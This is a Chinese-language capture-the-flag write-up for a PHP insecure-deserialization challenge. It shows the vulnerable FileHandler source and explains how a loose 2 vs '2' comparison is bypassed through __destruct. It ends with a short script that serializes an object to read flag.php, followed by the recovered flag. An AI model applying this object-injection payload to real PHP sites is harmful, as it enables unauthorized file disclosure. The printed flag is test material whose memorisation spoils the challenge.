<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看到
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
将传入的参数循环一遍,要求ascll码在32到125之间。
最后是反序列化,这里需要研究一下FileHandler类。
发现read()有个file_get_contents()函数,所以尝试调用read()方法
要调用read()既要调用process()方法,调用process方法有__construct和__destruct。
__construct()是传入没有值时被调用
__destruct()是在对象销毁时被调用
这里我们要op=2这样才能调用read,所以我们考虑__destruct
所以我们传入有值,这样就能调用__destruct了
因为2===“2” 为false,2=="2"为true
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "adasdasdas";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
为了避免麻烦我用public。
然后即可得到flag{08053ca1-4434-4fa8-8b8f-2449ecd64d05}